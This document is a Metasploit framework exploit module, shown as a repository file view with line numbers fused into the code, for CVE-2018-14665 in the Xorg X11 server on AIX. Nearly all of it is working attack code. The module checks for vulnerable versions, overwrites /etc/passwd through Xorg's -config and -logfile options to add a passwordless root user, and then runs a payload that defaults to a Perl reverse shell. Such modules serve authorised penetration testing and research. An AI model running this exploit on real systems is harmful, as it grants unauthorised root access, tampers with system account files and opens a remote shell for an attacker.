Path: blob/master/modules/exploits/aix/local/xorg_x11_server.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Post::File9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Xorg X11 Server Local Privilege Escalation',16'Description' => %q{17WARNING: Successful execution of this module results in /etc/passwd being overwritten.1819This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.2021A permission check flaw exists for -modulepath and -logfile options when22starting Xorg. This allows unprivileged users that can start the server23the ability to elevate privileges and run arbitrary code under root24privileges.2526This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.27Due to permission restrictions of the crontab in AIX, this module does not use cron,28and instead overwrites /etc/passwd in order to create a new user with root privileges.29All currently logged in users need to be included when /etc/passwd is overwritten,30else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.31The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,32and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when33overwriting /etc/passwd.34},35'Author' => [36'Narendra Shinde', # Discovery and original FreeBSD exploit37'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit38],39'License' => MSF_LICENSE,40'DisclosureDate' => '2018-10-25',41'Notes' => {42'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK ],43'Reliability' => [ UNRELIABLE_SESSION ],44'Stability' => [ CRASH_SERVICE_DOWN ]45},46'References' => [47['CVE', '2018-14665'],48['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],49['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],50['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],51['EDB', '45938']52],53'Platform' => ['unix'],54'Arch' => [ARCH_CMD],55'SessionTypes' => ['shell'],56'Payload' => {57'Compat' => {58'PayloadType' => 'cmd',59'RequiredCmd' => 'perl'60}61},62'DefaultOptions' => {63'Payload' => 'cmd/unix/reverse_perl'64},65'Targets' => [66['IBM AIX Version 6.1', {}],67['IBM AIX Version 7.1', {}],68['IBM AIX Version 7.2', {}]69],70'DefaultTarget' => 171)72)7374register_options(75[76OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])77]78)79end8081def check82xorg_path = cmd_exec('command -v Xorg')83if !xorg_path.include?('Xorg')84print_error('Could not find Xorg executable')85return Exploit::CheckCode::Safe86end8788ksh93_path = cmd_exec('command -v ksh93')89if !ksh93_path.include?('ksh')90print_error('Could not find Ksh93 executable')91return Exploit::CheckCode::Safe92end9394if !xorg_vulnerable?95print_error('Xorg version is not vulnerable')96return Exploit::CheckCode::Safe97end9899return Exploit::CheckCode::Appears100end101102def exploit103status = check104105if status == Exploit::CheckCode::Safe106fail_with(Failure::NotVulnerable, '')107end108109if !writable?(datastore['WritableDir'])110fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")111end112113xorg_path = cmd_exec('command -v Xorg')114ksh93_path = cmd_exec('command -v ksh93')115116xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])117xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"118upload_and_chmodx(xorg_script_path, xorg_payload)119120passwd_backup = "#{datastore['WritableDir']}/passwd.backup"121print_status("Backing up /etc/passwd to #{passwd_backup}")122cmd_exec("cp /etc/passwd #{passwd_backup}")123register_file_for_cleanup(passwd_backup)124125print_status("Executing #{xorg_script_path}")126cmd_exec(xorg_script_path)127print_status('Checking if we are root')128129if root?130shell_payload = %(#!#{ksh93_path}131#{payload.encoded}132)133shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"134upload_and_chmodx(shell_script_path, shell_payload)135136print_status('Executing shell payload')137cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")138139print_status('Restoring original /etc/passwd')140cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")141else142fail_with(Failure::PayloadFailed, '')143end144end145146def generate_xorg_payload(xorg_path, ksh93_path, writabledir)147passwd_file = read_file('/etc/passwd')148passwd_array = passwd_file.split("\n")149150print_status('Retrieving currently logged in users')151users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')152users << "\n"153users_array = users.split("\n")154155logged_in_users = ''156if !users_array.empty?157users_array.each do |user|158user << ':'159passwd_array.each do |line|160if line.index(user) == 0161logged_in_users << '\n'162logged_in_users << line163end164end165end166end167168passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"169170subdir_count = writabledir.count('/')171relative_passwd = '../' * subdir_count + '../../etc/passwd'172173return %(#!#{ksh93_path}174#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1175)176end177178def xorg_vulnerable?179version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')180print_status("Xorg version is #{version}")181semantic_version = Rex::Version.new(version)182183vulnerable_versions = [184['6.1.9.0', '6.1.9.100'],185['7.1.4.0', '7.1.4.30'],186['7.1.5.0', '7.1.5.31'],187['7.2.0.0', '7.2.0.1'],188['7.2.1.0', '7.2.1.0'],189['7.2.2.0', '7.2.2.0'],190['7.2.3.0', '7.2.3.15']191]192193vulnerable_versions.each do |version_pair|194if semantic_version >= Rex::Version.new(version_pair[0]) &&195semantic_version <= Rex::Version.new(version_pair[1])196return true197end198end199200return false201end202203def root?204id_output = cmd_exec('su - wow -c "id"')205206if id_output.include?('euid=0') || id_output.include?('uid=0')207print_good('Got root!')208return true209end210211print_error('Not root')212false213end214215def upload_and_chmodx(path, data)216print_status("Writing to #{path}")217rm_f(path)218write_file(path, data)219cmd_exec("chmod 0555 '#{path}'")220221register_file_for_cleanup(path)222end223end224225226